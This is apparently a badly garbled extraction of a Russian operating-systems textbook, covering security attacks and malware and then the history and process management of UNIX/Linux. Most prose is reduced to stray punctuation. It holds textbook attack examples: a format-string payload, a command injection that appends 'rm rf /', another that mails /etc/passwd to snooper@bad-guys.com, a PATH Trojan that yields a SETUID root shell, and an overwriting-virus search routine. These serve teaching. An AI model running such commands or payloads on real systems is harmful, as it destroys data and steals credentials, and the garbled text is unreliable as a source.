/* i 6 */

:
Hello world
i=6

, i
printf, .
, ,
. printf ? ,
.
.
, , ,
.
, , printf - ,
. , (format string attack).
, , .

9.7.

719

? , , . , , ( printf).
printf , .
.
printf , , , :
"%08x %n"

%08x , printf 8-
. , 1,
0000001. , printf
, 32- ,
, , , ,
, 9: 8 1 . ,

"%08x %08x %n"

printf ,
, , . . , , .
, ,
, . ,
. ,
g ,
printf (. 9.21). , , ,
AAAA, %0x %0n. ?
%0x, ( B). , printf
,
. ASCII- A 65 ( 0x41
), 0x41414141,
. , (
).
, , .
format string attack,
, .

,
, .
SETUID root,
root. ,

.

720

9.

printf

printf
( )

. 9.21. , .
%08x

9.7.3.

,
(dangling pointer attack).
, . C C++ ,
malloc,
. , ,
free . , , . , :
01. int *A = (int *) malloc (128);
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.

/* 128
*/
int year of birth = read user input (); /*
*/
if (input < 1900) {
printf (", 1900 \n");
free (A);
} else {
...
/* A */
...
}
... /* , , malloc free */
A[0] = year of birth;

9.7.

721

. - , ,
12 A , ( 5). A
, .

(. 11).
: ? 12
, A, , .
, , ,
,
, , , . ,
( heap feng shui), .
, .
,
(, 1900).

9.7.4. ,

, 3, . , , .
,
. . ,

, . , Linux , ,
, .
32- 3
, 1 . , .
. ,
. ? , .
, ?
(NULL pointer). , , ,
. Linux
. ,
. ,
, ,
.

722

9.

,
.
. ,
-
.
,
. mmap,
. mmap . 0 -. ,
, -
. .
mmap
. - . , ,
.
. ,
, ,
, ,
.

9.7.5. ,


, 8, 16, 32 64 .
, . C
, . ,
,
. , , . , ,
16- ,
40 000. , 16- , 4096.
, , .
.
( ) , ,
, , . ,
, , , ,
. ,
, ,
, malloc -

9.7.

723

, .
. ,

.

9.7.6. ,
.
, -
, (,
). ,
,
. , C
system("ls >file-list")

,
ls >file-list

,
file-list. ,
, 9.1.
9.1. , ,

int main(int argc, char * argv[])
{
char src[100], dst[100], cmd[205] = "cp "; /* */
printf(", -: "); /*
- */
gets(src);
/* */
strcat(cmd, src);
/* src cp */
strcat(cmd, " ");
/*
cmd */
printf(", : ");
/*
*/
gets(dst);
/*
*/
strcat(cmd, dst);
/* */
system(cmd);
/* cp */
}

- , , cp, system
. , abc xyz
:
cp abc xyz

, , .
, , (command injection). ,

724

9.

abc xyz; rm rf /.
:
cp abc xyz; rm rf /

,
. , . , , ,
.
xyz; mail snooper@bad-guys.com
</etc/passwd,
cp abc xyz; mail snooper@bad-guys.com </etc/passwd

9.7.7 ,

, , .
. . , .
:
int fd;
if (access ("./my document", W OK) != 0) {
exit (1);
fd = open ("./my document", O WRONLY)
write (fd, user input, sizeof (user input));

, SETUID root
. , ,
. , , SETUID-
,
my document .
,
, . ,
,
, .
, , ,
access. (,
, ), 0, ,
1 . ,
UID , UID ( SETUID ).

, .
, . , ,
, , -

9.8.

725

, . ,
.
open
. ,
.
, (Time of Check to Time of Use (TOCTOU)).
-, , access .
,
fstat, . , fstat
write. , API
.
.

9.8.
,
,
, ,
. , ( insiders) ,
( outsiders).
, .
, , ,
.

9.8.1.
. ,
() .
(logic
bomb). ,
. ,
, .
, (
) . .
.
,
(Spafford et al., 1989).
,
,
.
: ( , -

726

9.

,
)
, ( ,
, , ).
, . , ,
. , ,
. - .
(time bombs).

9.8.2.
, ,
(back door)1.
, - . , ,
, zzzzz, ,
.
, . 9.22, .
, . 9.22, .

. 9.22. : ;

strcmp , zzzzz. , ,
. , ,
,
,
. ,
.
. (code reviews). ,
1

. . .

9.8.

727

,
. ,
, . , - ,
, , .
,
.

9.8.3.
,
, , (login spoofing).
, ,
, . ,
, ,
. .
, , UNIX- , , . 9.23, .
, .
,
( , ).

. 9.23. : ;

. -
, ,
. 9.23, . , ,
. 9.23, , , ,
, . , .
,
. ,
- , .
,
, . 9.23, . , , .
.

728

9.

.
.
,
. Windows
CTRL+ALT+DEL. ,
CTRL+-ALT+DEL, .
.

9.9.
(, 2000 ) ( )
, ,
.
, , , (malware) .
, , , ,
. ,
.
.
, .

. , ,
. (backdoor),
, ,
.
(zombie), (botnet), robot network, , .
, , ( ) .
. -
, ,
. , ,
, , , ,
.
, ,
.
. , .

9.9.

729

, , :
GENERAL ENCRYPTION!
, ,
100 : BOX 2154, PANAMA CITY,
PANAMA. . .

(keylogger).
( ) ,
. -, -, - ,
(
), .
, , ,
,
. , ,
.
,
. , ,
,
, , , , ,
, , , ,
. ,
,
, .
, , ,
, -,
(identity theft)1.
, , , , , , . .,
,
, ,
. , , .
, ,
,
-.

, ,
1

. . .

730

9.

( , ).
, , , ,
.
, .
. ,
.
, ,
.
, .

, -
- . ,
, .
,
, , .
( ,
RFID ). .
.
- (BIOS) -,
(
).
- , . - ,
. - , , , .
, , , .
, malware, .
: ? . -, 90 %
, Windows ( ),
. ,
10 % ,
. , .
-, Microsoft ,
Windows . ,
Windows ,
UNIX-,
( , Linux Windows). ,
, Microsoft

9.9.

731

.
, ,
-
. ,
, - . ,
?
, .
.

9.9.1.
.

. , ? -
. , , -
. .
. (Trojan horse attack),
.
, -, .
, , .
, , ,
. ,
. , - IP-
, , .
,
. .
, .
,
. , UNIX
$PATH, .
, :
echo $PATH

ast
:
:/usr/ast/bin:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/ucb:/usr/man\
:/usr/java/bin:/usr/java/lib:/usr/local/man:/usr/openwin/man

732

9.

, , .
prog

, /usr/ast/bin/prog.
, . , /usr/local/bin/
prog, /usr/bin/prog, /bin/prog . ., 10
, . ,
, .
,
.
/bin /usr/bin, /usr/bin/X11/ls ,
. ,
/usr/bin/X11 la. la
ls ( , ),
, ,
, la . , , , , ,
- -
(
),
/bin/ls , ,
.
, ,
. ls, ,
, - ,
: , 100 , .
, ,
cd /home/mal
ls l

, $PATH, ,
,
, , .
/home/mal/bin/sh SETUID root.
: chown /home/mal/bin/sh root chmod
SETUID. , , .
, . , ,
, Quicken. ,

9.9.

733

(
- ), .
, ( ), , - - ,
( ).

9.9.2.
, .
, .
, , , . , , .
? , (virus) ,
, , . , .
, .
,
. .

, . , , , (, ,
C), .
.
, , . , -
. .
, . , , , ,
(payload).
, ,
. (,
-
, ).
,
. , ,
, , , ,
. , .

-
- (companion virus) , , - .

734

9.

, MS-DOS,
- . . MS-DOS

prog

MS-DOS prog.com.
, prog.exe. Windows, (Start), (Run)
Windows, , , R, , .
.exe, .com .
, , prog.exe
MS-DOS Windows,
(Run). prog.com,
, - prog (
prog.exe). prog.com , prog.exe .
- , Windows,
( ).
, .
, . ,
.

,
, .
. (overwriting viruses).
, , 9.2.
9.2. ,
UNIX
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
struct stat sbuf;
search(char *dir_name)
{
DIR *dirp;
struct dirent *dp;

/* POSIX */

/* lstat, , */
/* */
/* */
/* */
/* */

dirp = opendir(dir_name);
if (dirp == NULL) return;
while (TRUE) {
dp = readdir(dirp);
if (dp == NULL) {

/* */
/* , */
/* */
/* */
/* NULL */

9.9.
chdir ("..");
break;
}

735

/* */
/* */

}
if (dp->d_name[0] == .) continue;
lstat(dp->d_name, &sbuf);

/* . .. */
/*
? */
if (S_ISLNK(sbuf.st_mode)) continue; /* */
if (chdir(dp->d_name) == 0) { /* chdir , ,
*/
search(".");
/* , */
} else {
/* ( ), */
if (access(dp->d_name,X_OK) == 0) /* , */
/* */
infect(dp->d_name);
}
closedir(dirp);
/* ,
*/
}

,
argv[0] .
, ,
search root .
search , ,
readdir ,
NULL, , . ,
search. ,
infect
. , .,
. ... ,
, , chdir,
, ..,
, . .
infect ( ) , , ,
.
. -, infect , - . ,
128 , . : , ,
, ,
, .
(, 25 %),
,
.

736

9.

-, infect ,
. -,
,
. ,
, , , ,
. , .
( , , 2 ),
.
MS-DOS,
44 (Ludwig, 1998).
,
. , , 9.2,
,
. , ,
.
,
. ,
, , .
, .
(parasitic viruses).

. , , , ,
, (. 9.24, ). , ,
,
0 .
, ,
.
, ,
, (. 9.24, ).
( ,
), ,
, ,
. ,
.
, .exe
Windows UNIX,
. . (, Windows)

9.9.

737

. 9.24. ; ; ;
,

() 512 . ,
.
. (. 9.24, ),
, , ,
. , ,
, , (cavity viruses). ,
, .

, ,
, .
(memory-resident virus)
, , ,
, , ,
, , .
, ,
, , .

, . .
. , ,
.
? , ,
. , exec, , , , ,
(, , ) ,
. , , 9.2, .

.

738

9.

,
5 ,
BIOS
. , , . ,
. ,
,
. ,
(boot sector viruses), .
, (
)
, . Microsoft fdisk
,
Windows-. ,
, .
- ,
. - .

, ,
.

, , .

,
. . ,
,
.
, .
,
. , Windows
. ,
. .
. (. 9.25, ).
, ,
, .
. 9.25, . ,
,
, , (
,
, ).

9.9.

739

. 9.25, . ,
, ,
. , . -
.

. 9.25. :
; , ;
,

( ) , , -
. ,
. ,
. , , (device driver virus). Windows
UNIX- ,
. ,
. ,
, , ,
, .

, ( MINIX 3),
, ,
, .

, Word Excel,
,

740

9.

.
. Microsoft Office
Visual Basic.
, ,
, . , Office
.
. Word , OPEN FILE ( ).
(macro virus).
, , , ( , ). OPEN
FILE. , :
, Word, .
, Microsoft Word , ,
, ,
, . ,
. ,
, .
, , . ,
- ,
, . ,
, , .

,
; , , (Word Windows Macintosh,
UNIX).
(source code viruses). 9.2, ,
, C,
( access).
infect
#include <virus.h>

C.

run virus( );

, ,
C, , . , . . -

9.9.

741

, (,
main return, ),
, virus.h
( proj.h , - ).
, ,
C .
, ,
, , ,
, virus.h.
, .

, 32-
, , . , ,
, ,
, .
.
- , . , . ,
.
.

. .
, - ( )
, , , -
- . -
.
. , ,
,
. .
, .
.
(, ) , . .
,
, . , , ,
.
, .
, ,
, ,
. ,
.

742

9.

, ,
. .
.
,
, .
USENET (, Google) -,
. -,
, .

USENET, , .
, , -
, , . ,
,
, (Subject) -
, :
: ;
: Re: ;
: ;
: ;
: .
, ,
, . ,
. I LOVE YOU, 2000 ,
.

. ,
, , . , , , ,
.
, , .
, ,
, . ,
,
.
. ,
,
, , .
, -
. - USB -

9.9.

743

, USB,
book.doc,
. , virus.
exe , , , , .
- USB
- FTP-.
Ethernet, - , , .
,
.
. , , . . Rieback et al. (2006).
,
.

9.9.3.
, , 2 1988 , .
,
, ,
. ,
. . Spafford (1989).
Hafner and Markoff (1991).
, 1988
Berkeley UNIX, . , . ,
(worm),
, .
,
.
, 2 1988 ,
Sun VAX, , .
, , ,
- .
:
. 99 C, l1.c. .

744

9.

, , ,
. ,
, ,
.
. 1
rsh. rsh,
. , .
2 , UNIX- finger. , ,
finger name@site

.
, ,
, ,
. , , .
finger . UNIX- finger daemon,
, . finger
536- .
,
. 9.19, . , . - ,
, ,
536- . sh.
, ,
.
3 sendmail, .
, . .
, , ,
, - (Morris and Thompson, 1979) Bell Labs.
,
.
, . , ,
, , ,
, ,

. 1/7

9.9.

745

, : .
, ( 1/50), ,
, .
,
- , ,
,
. , rtm. rtm ,
finger. ,
.
.
10 000 , 3 () 400 . , , 150 000 . .
, , -
. , -
. , .
.

CERT (Computer Emergency Response Team),
,
.
, . CERT , ,
. . ,
(, )
(
) , .
.
, ,
. , .

9.9.4. -
,
- (spyware). , ,
,
, . ,
. , Windows Update Windows-, .
. .

746

9.

(Potter Stewart), , , :
-, , 1.
(-,
). (Barwinski et al., 2006) , -
. -, ,
- . -, (
-, ). -,
. -, . , -
, .
(Barwinski et al., 2006) -
. :
,
. ,
,
, - .
, -,
.
, - -, 5000 -. ,
- -, , ,
.

(Moshchuk et al., 2006). 18 URL-, 6 %
-. , , AOL/NCSA, , 80 % -, 93
. , , ,
,
,
.

-
: ? , :
.
, .
,
1

1958 1981 . , , ,
, , , :
, .

9.9.

747

(, Kazaa), . , -
, -,
-.
(drive-by download).
- ( )
-.
. : -
(.exe) . , ,
, . ,
. , -
, .
. Internet Explorer,
Firefox . - , ,
.
. ,
Alexa. , ,
.
. , Microsoft,
activeX.
x86, Internet Explorer
, , - . , . , ,
-.
IE (Internet Explorer), Firefox, Chrome, Safari .
activeX
IE. , - .
,
- (, ,
) IE ,
.
, . - IE
activeX , ,
-. :
, ?

, (Yes)
.
, .
- ( ), -

748

9.

- (CA),
. , ,
CA , . -,
-. ,
, activeX,
- , , activeX, -.
,
(Yes).
(No), - ,
IE, -. ,
activeX, IE . , (
IE),
, .
- 2030 , ,
, ,
. , -,
(
). :
,
, , .

, -
, -. .
1. .
2. ( ).
3. .
4. , .
5. .
6. Windows.
7. - , -.
8. Windows.
9. ,
.

9.9.

749

, , ,
.
(browser hijacking).
. , ( , -) ( -,
-).
. ( GIF- 468 60)
- , - , -.
: , ,
ad infinitum ( ), . , -
, - .
- , , . ,
, ,
. - - .
- (adware), ( ) : ,
, , .
, .

9.9.5.
(rootkit) ,
, . ,
, . , ,
-, , .

. : ?.
1. . BIOS ,
. , BIOS.
, ,
.

750

9.

2. -. ,
. ,
( ),
(Joanna Rutkowska) 2006 . , , ,

,
. , , , ,
, ,
, .
3. . ,
.
, ,
.
4. . , ,
, libc Linux.

, .
5. . , ,
, ,
( , . .). , ,
.
, , . 9.26.

. 9.26. ,

, -. , -
PCI 100
. , , :
- , -

9.9.

751

.

. ,
,
.
, , , ,
, .
,
1 , 1 . ,
, ,
.
,
-, .
(,
),
.
-
, . , , .
, ,
$$$, , , .
, DVD
- USB. ,
, , .
,
, . , - USB,
- DVD .
, ,
-
USB -.
, . , , : !.
, , , .

, , , . ,

752

9.

,
. , ,
, , ,
, , , .
.
, ,
,
, .

. (Garfinkel et al., 2007) , . (Carpenter et al., 2007) .
,
. , TLB,
.
TLB,
.
, . , , : .
, .
.
, ,
. , .

Sony
2005 Sony BMG -, . (Mark
Russinovich) ( -,
Windows, www.sysinternals.com), ,
. ,
.
(Arnab and Hutchison, 2006; Bishop and Frincke, 2006; Felten
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754

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764

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9.10.

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766

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9.10.

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9.10.

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770

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772

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9.11.

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www.taxprep.com

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/usr/susan/1040.xls

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774

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(2013) , ,

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776

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780

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782

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 10.
:
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, , .
, , .
Linux ( UNIX),
.
,
( Android
Linux) .
.
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FreeBSD, HP-UX, SCO UNIX, System V, Solaris . ,
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, (Love, 2013; McKusick and Neville-Neil,
2004; Nemeth et al., 2013; Ostrowick, 2013; Sobell, 2014; Stevens and Rago, 2013; Vahalia,
2007).

10.1. UNIX Linux

785

10.1. UNIX Linux

UNIX Linux ,
. , , ,
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10.1.1. UNICS
1940- 1950- ,

. , , ().
1960- ,
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,
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, .
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( General Electric )
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),
1.
Bell Labs
MULTICS, ,
, (Ken Thompson), - . ( )
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.
Bell Labs, (Brian Kernighan),
- UNICS (UNiplexed Information and Computing
Service ).
MULTICS (-
EUNUCHS, ),
, UNIX.

786

10. : Unix, Linux Android

10.1.2. PDP-11 UNIX

Bell Labs
, (Dennis Ritchie),
. . -, UNIX PDP-7
PDP-11/20, PDP-11/45 PDP11/70. -
1970- . PDP-11/45 PDP-11/70
(256
2 ). , ,
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, ,
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(ACM)
(Ritchie, 1984; Thompson, 1984).
, Bell Labs
UNIX. AT&T,
Bell Labs,
, ,
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( )
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, , ,
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UNIX ,
. UNIX Version 6,

10.1. UNIX Linux

787

, UNIX Programmers Manual.

8200 C 900 .
.
Version 6 Version 7,
UNIX (
PDP-11, Interdata 8/32). 18 800
C 2100 . Version 7 ,
, , . 1980-
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Microsoft, Version 7 XENIX, .

10.1.3. UNIX
UNIX C,
( ) , , .
C.
- , ,
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, . , ( , ) - ,
.
, , -
Interdata 8/32. , UNIX
, , :
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64 )
. - Interdata 8/32,
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, , PDP-11.
Interdata 8/32,
(Steve Johnson) Bell Labs C.
,
. C (
PDP-11) , UNIX .
- Interdata 8/32 ,
PDP-11,

788

10. : Unix, Linux Android

UNIX. , PDP-11
, Interdata 8/32 .

, , , . -, , : .
? UNIX .
Interdata UNIX VAX, .
1984 AT&T,
,
. AT&T UNIX System III. ,
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System IV, . System V 2, 3 4 System V,
, . , UNIX
, .
8, 9 10- UNIX,
, AT&T System V.
8, 9 10- System V. ,
AT&T , ,
, 1993 UNIX Novell, 1995 Santa Cruz Operation.
, ,
.

10.1.4. Berkeley UNIX

, UNIX Version 6 .
, .
- (Advanced Research Projects Agency (ARPA))

UNIX - PDP-11, 1BSD (First
Berkeley Software Distribution ,
1- ). 2BSD, PDP-11.
3BSD 4BSD
VAX. AT&T
VAX, 32V, Version 7. 4BSD .
,
, , (
).
14 .
, . -

10.1. UNIX Linux

789

. ,
4BSD TCP/IP - UNIX, , UNIX.
UNIX ,
vi csh, Pascal Lisp
. , (Sun Microsystems, DEC .)
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AT&T. Berkeley UNIX , .
Berkeley UNIX McKusick et al. (1996).

10.1.5. UNIX
1980- - UNIX: 4.3BSD System V Release 3. ,
.
UNIX ,
,
UNIX,
UNIX , UNIX (
, , MS-DOS).
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SVID (System V Interface Definition UNIX System V), , . .
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(BSD), .
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(IEEE Standard Boards), , , . , . POSIX. Portable
Operating System . IX
, .
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1003.1. ,
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POSIX , ,
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, UNIX, .
, , ,
, 1003.1

790

10. : Unix, Linux Android

, .
System V BSD (
), IEEE
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BSD, Version 7. 1003.1 ,
,
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1003.1 ,
, , ,
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(ANSI)
ISO.

10.1.6. MINIX
UNIX- : ,
UNIX . (
),
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. 11 800 C
800 . 1987 Version 7 UNIX,
PDP-11.
MINIX , . ,
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, . 1600 C 800 . ,
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( 2900 C) .
(5100 C) (2200 C)
.
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10.1. UNIX Linux

791

.
. UNIX
X Windows , , (
Windows,
). Mach (Accetta et al., 1986) Chorus (Rozier et al., 1988).
MINIX - comp.os.minix 40 000 .
, MINIX
,
, . 1997 2.0 MINIX.
, 62 200 .
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,

.
1 MINIX 3.0
,
( ). ( 4000 , ).
.
, MINIX 3.0 650 UNIX,
X Window System ( ), ( gcc), ,
, - . (
), MINIX 3.0 ( ).
: (No more reset buttons).
Operating Systems: Design and Implementation,
(Tanenbaum and Woodhull, 2006).
. ARM .
, www.minix3.org.

10.1.7. Linux
MINIX
( ) ,
(
, ). .
FreeBSD . ,
(Linus Torvalds) UNIX,

792

10. : Unix, Linux Android

Linux. ,
MINIX . 0.01 Linux 1991 .
MINIX MINIX ,
. MINIX, Linux
, .
9300 C 950 , MINIX , .
MINIX ,
.
Linux
UNIX ,
. Linux
Intel 386 (
386- C),
, UNIX. Linux UNIX:
gcc, ,
ANSI C-.
, gcc ,
,
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. LLVM C,
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Linux 1.0,
1994 . 165 000 ,
BSD TCP/IP.
.
.
Linux UNIX,

UNIX, . ,
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( ).
, 2.0, 1996 .
470 000 C 8000 .
64- , ,
.
.
.
Linux : A.B.C.D (, 2.6.9.11).
. .
2.6 , -

10.1. UNIX Linux

793

( ). 2.6 .
(, ).
.
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Linux
UNIX, X Windows
. , Linux
:
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, UNIX.
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. -, www.kernel.org.
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(Free Software Foundation).
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Windows ,
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(
Linux) . ()
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BSD GNU. Linux
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Linux
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100 , Linux1.

Linux Linux ,
.
, Linux ,
AT&T. 1992
, , BSD UNIX
4.4BSD ( FreeBSD).
AT&T, 1

, Linux
www.distrowatch.org. . .

794

10. : Unix, Linux Android

,
, , . UNIX AT&T
, , . BSDI, BSD
UNIX (
Red Hat Linux). AT&T ,
, , 1-800-ITSUNIX BSDI. , FreeBSD
, Linux .
, 1993
UNIX,
: BSD (
1977 )
Linux ,
.
, UNIX.

10.2. Linux
Linux,
, , , . UNIX ( ). Linux ,
, Linux
(shell) . .

10.2.1. Linux
UNIX ,
.

, ( ) .

, UNIX ,
. , , ,
,
, UNIX
. , Linux
,
.

10.2. Linux

795

?
, , , . ,
. , , . . (
) .
ls A*

, A,
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, A,
, A .
(principle of least surprise).
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,
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.
, . copy, cp,
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Linux
grep ard f

, grep ( ), grep
: , grep. . ,
. , grep . , - . , ,
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, . , .

10.2.2. Linux
Linux (. 10.1). ,
, , , , . .

. , , .
, ( )
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796

10. : Unix, Linux Android

. 10.1. Linux

, ,
. ,
C. , .
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Macintosh

10.2. Linux

797

Windows . , , ,
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Windowing System, 11 ( ).
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, . .
, xterm,
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10.2.3.
Linux ,
-
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. ,
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- .
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(Bourne shell, ,
Bell Labs.), Bourne Again
SHell. (ksh, csh . .), bash
Linux-.
, ,
( ) , .
,
, . ,
, , ,

798

10. : Unix, Linux Android

. .
. ,
. , ,
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cp , src dest.
.
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.
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file ( 10 ).
. , ,
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20, 10 file.
Linux- .
,
(magic charecters), (wild
cards). , ,

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.c. x.c, y.c z.c,
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,
. , ,
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, a, p e.
, , ( ), .
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(standard output), , (standard error).
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10.2. Linux

799

) . Linux-
. ,
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.
, . < > .
. ,
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out. , . ,
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, :
sort <in >temp; head 30 <temp; rm temp

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, . ,
temp . .
,
, . temp.
Linux .
sort <in | head 30

, (pipe symbol),
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(pipeline) . :
grep ter * .t | sort | head 20 | tail 5 >foo

, ter , .t, .
20 head, tail, ( 16- 20- )
foo. , Linux
(), ,
, .

800

10. : Unix, Linux Android

Linux .
, .
. ,
wc l <a >b &

wc,
( l) a b, . ,
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.
,
.

, . ,
, (shell scripts).
.
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, . , .

10.2.4. Linux
() Linux
, . ,
:
1. .
2. .
3. , .
4. .
5. .
6. .
POSIX 1003.1-2008 150 , .
, ,
Linux.
,
-, ,
, . .

10.2. Linux

801

,
.
cp a b

a b, .
mv a b

, a b, . , .
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. rm. chmod
. mkdir rmdir.
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; tail, , .
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), pr ,
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, . , (header
files), , , .

include. ,
. ,
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, ,
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. Linux, ,
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POSIX . 10.1 .
Linux , .

802

10. : Unix, Linux Android

10.1. Linux, POSIX

cat

chmod

cp

cut

grep

head

ls

make

mkdir

od

paste

pr

rm

rmdir

sort

tail

tr

10.2.5.
. 10.1 Linux.
(
).
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. (. 10.2)
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.
.
, . ,
.
.
. - . 10.2 ,
,
- . (Virtual File System
(VFS)). (
) , . - - . Linux

10.2. Linux

803

. 10.2. Linux

, ,
,
.
, , (
).
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- . -
(tty). (, )
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Enter .

( ).
,
.
, . Linux
(
, ). , IP TCP,
.
, ( ).
.

804

10. : Unix, Linux Android

-, ,
( ).
. Linux
.
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.
. 10.2 Linux. .
,
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. ,
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. .
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(, )

. , ( ,
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Linux .
, , , .
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.
,
.

10.3. Linux
Linux , ( , xterm).
.
.

10.3. Linux

805

, Linux, : , , -.
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, - . ,
( , ) , .

10.3.1.
Linux .
Linux , 2.
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( , ).
Linux
. , ,
. ( - )
, (daemons).
.
cron. , ,
- . , ,
( ).
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. , ,
15.00 .
cron, , , 14.30.
, cron , , ( ).
cron , 4.00
31
. ,
, , , . . Linux ,
, .
Linux .
fork ,
(parent process). (child
process). () -

806

10. : Unix, Linux Android

. - , ( ).
.
, -
fork, .
, , .
,
, .
, , ,
, : , , ?
, fork 0,
PID (Process IDentifier ) .
, 10.1.
10.1. Linux
pid = fork( );
if (pid < 0) {
handle_error();

/* fork , pid > 0

*/
/* fork (,
- ) */

} else if (pid > 0) {

/* */
} else {
/* */
}

PID-. , PID .
PID, getpid.
. , , PID
. ,
.
, , ,
.
Linux
. ,
, .
(pipes). .
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.

sort <f | head

, sort head,
, sort

10.3. Linux

807

head. , sort,
head, . ,
sort , head
- .
. (signal).
, , . : , , ( ).
,
. , .
,
, , ( -).
(process group), (
), , ( ).
.
. , 0 ( ,
), SIGFPE (Floating-Point Exception SIGnal ). ,
POSIX, . 10.2. Linux
, Linux UNIX.
10.2. , POSIX

SIGABRT

SIGALRM

SIGFPE

(,
0)

SIGHUP

, ,

SIGILL

Del,

SIGQUIT

SIGKILL

, ( )

SIGPIPE

SIGSEGV

SIGTERM

SIGUSR1

SIGUSR2

10.3.2. Linux
Linux, . . 10.3.

808

10. : Unix, Linux Android

fork. (
UNIX)
Linux ( ). , , .
fork (
) .
fork ,
( )
.
fork , , ,
(PID) , . , , .
10.3. , .
s 1; pid ;
residual .

pid=fork( )

pid=waitpid(pid, &statloc, opts)

s=execve(name, argv, envp)

exit(status)

s=sigaction(sig, &act, &oldact)

s=sigreturn(&context)

s=sigprocmask(how, &set, &old)

s=sigpending(set)

s=sigsuspend(sigmask)

s=kill(pid, sig)

residual=alarm(seconds)

s=pause( )

fork
. . , fork
, ,
( ).

waitpid, ( , ).
.
. 1,
.
, ( ,
). .

10.3. Linux

809

,
( ).

. exec, , .
,
fork, waitpid exec, 10.2.
exec :
, .
. , execl, execv, execle
execve, . .
exec,
( ).
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while (TRUE) { /* */
type_prompt( );
/* */
read_command(command, params); /* */
pid = fork( );
/* */
if (pid < 0) {
printf(" "); /* */
continue;
/* */
}
if (pid != 0) {
waitpid (-1, &status, 0); /*
*/
} else {
execve(command, params, 0); /* */
}
}

cp file1 file2

file1 file2. , cp .
cp ( )

main(argc, argv, envp)

argc , .
argc 3.
argv . i- i- .
argv[0] cp. argv[1]
file1, argv[2]
file2.

810

10. : Unix, Linux Android

envp main (,
= ,
, ). 10.2
, execve
.
exec ,
. .
exit, .
( 0 255), status
waitpid. status (
).
( 0 255),
. ,
n = waitpid(-1, &status, 0);

, - . , , 4 ( exit),
n, PID , 0x0400 (
0x C ). status , , exit.
, ,
(zombie state)
, . , ,
waitpid, .
, . ,
, ,
.
(, Del Ctrl+C), . .
,
sigaction.
, (. . 10.2).
,
( ). ,
, .
. .
, , .
sigaction
, .

10.3. Linux

811

Del . kill . (kill , )

, ,
. , , .

, - ,
. alarm ().
,
SIGALRM. .
, alarm 10 , 3
alarm 20 ,
20 .
alarm. alarm ,
alarm. alarm , .
, .
, ?
, , . , ,
. , alarm,
30 . ,
. ( ) ,
,
. pause,
Linux .
, .

10.3.3. Linux
Linux : , ,
, . , . , .

. , ,
. ,
: ,
. ,
.
Linux (tasks)
task_struct. ( , ), Linux
.

812

10. : Unix, Linux Android

,
. ,
,
. ( )
.
task_struct.
,
( , . .).
( )
.
UNIX Linux
(Process Identifier (PID)).
. PID .
.
(, ).
( ,
).
( ). ,
, ,
.
.

, .
:
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2. . : ,
. , . ,
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3. . , , , , , .
4. . ,
( ) .
5. . ( ).
6. . ,
, (i-node).

10.3. Linux

813

7. . ,
.
, , , ,
, .
8. . ,
.
9. . , ( ), , PID , PID , .
, , Linux .
.
, . PID,
. ,
. ,
.
fork, (, thread_info).

( ).
, Linux
, .
. Linux PID,
, - PID,
. .
task_struct, /
.
,
,
fork , . ,
( ).
.
, Linux- .
,
, . -
( ) , . , ,
, . ,
, .

814

10. : Unix, Linux Android

(copy on write). , .
, (
) exec, .
,
, .
. ( , , Linux UNIX),
: ,
(, , ),
.
, ,
. ,
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, . ( .
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, .
.
. 10.3 :
ls, , fork. exec,
ls.
ls.

Linux
2.
Linux, Linux UNIX. Linux , , .
UNIX. fork.
, ( )
fork. ?
, . ,
( ).
?
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fork. ,
. , ,
(

10.3. Linux

815

. 10.3. ls,

fork).
. .
.
- . , ,
lseek, .
? ?
.
? ,
SIGFPE (Floating-Point Exception SIGnal
) ,
. , ? ? ? SIGINT,
. ?
?
, -
. ( )
.

816

10. : Unix, Linux Android

Linux , . 4.4BSD, 4.4BSD ,

, C , .
, . ,
, , .
.
2000 Linux clone,
, ,
. clone UNIX.
() , , , , , ,
. clone , . :
pid = clone(function, stack_ptr, sharing_flags, arg);

clone , ( sharing_flags). ,

( )
.
, , .
, fork
POSIX.
function arg
.
, stack_ptr.
sharing_flags , , UNIX. ,
, . . 10.4 ,

sharing_flags.
CLONE_VM , ( )
.
, ,
clone .
, .
, STORE
. fork.
.

10.3. Linux

817

10.4. sharing_flags

CLONE_VM

CLONE_FS

,
root umask

CLONE_FILES

CLONE_SIGHAND

CLONE_PARENT

CLONE_FS root, umask.

, CLONE_FS
. , chdir
, . UNIX chdir
,
. ,
, UNIX.
CLONE_FILES CLONE_FS. ,
, lseek
,
, .
CLONE_SIGHAND . ( ),
.
, . CLONE_PARENT ,
.
( ) ( ).
, , .

, Linux ,
Linux ( ,
. .), .
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( , .) , .
, ,
UNIX . - Linux
, , UNIX.

818

10. : Unix, Linux Android

Linux . UNIX- PID ( , ).

UNIX-, Linux PID TID.
. clone (
), PID ,
TID, PID. ,
PID, .

10.3.4. Linux
Linux. , Linux , ,
.
Linux
:
1. , FIFO (First in First
Out , ).
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3. .
FIFO
,
FIFO , .
, FIFO,
, .
,
.
. .
, . ,
Linux ,
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UNIX), .
0 99, 0 ,
99 .
,
.
100 139,
Linux 140 ( ).
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. Linux . Linux 1000
1 (jiffy , , ).
500, 250 1 .

10.3. Linux

819

, , .
,
-.
UNIX-, Linux nice.
0,
nice(value), value 20 +19.
.
( )
, .

( 20 1). .
Linux . (runqueue),
,
, , .
. ,
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,

. O(1) :
, . . 10.4, ,
140 ,
. .

. ,
, (, ).
(, -)
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, , ,
, , . ,
( ,
FIFO
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.
, 100 800 ,
139 5 .

820

10. : Unix, Linux Android

35

26

10

47

30

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NIL

38

62
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3

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NIL

27

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45

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)

Linux- O(1);

) -

CFS

. 10.4. : Linux- O(1);

Completely Fair Scheduler

, . , read
.
, . ,
, , ,
, .
,
( - ).
Linux ( ) ,
-,
. Linux . , ,
-, , -,
. O(1)
5,
, .
+5. sleep_avg.
, , -

10.3. Linux

821

, .

5 +5. Linux .
O(1) ,
2.6, 2.5.

. ,

, (1),
. , , O(1)
. , , ,
, ,
.
(Ingo Molnar), O(1), ,
(Completely Fair Scheduler (CFS)).
, (Con Kolivas)
, 2.6.23.
,
.
, CFS,
- .
,
vruntime. CFS
. . 10.4, ,
.
, ,
,
, .
.
. CFS
,
, . CFS
vruntime ,
, .
vruntime, . - , ,
.
nice, CFS
,
, .
, vruntime ,

822

10. : Unix, Linux Android

,
. CFS
.
, ,
O(log(N)),
N .
,
, ,
, ,
.
Linux-
,
. -,
.
,
. -,
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).
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), ( waitqueue).
, .
-.
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Linux
,
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Linux.
Linux (big
kernel lock (BLK)). ,
(
).
( ).
Linux ,
. Linux

10.3. Linux

823

atomic_set atomic_read.
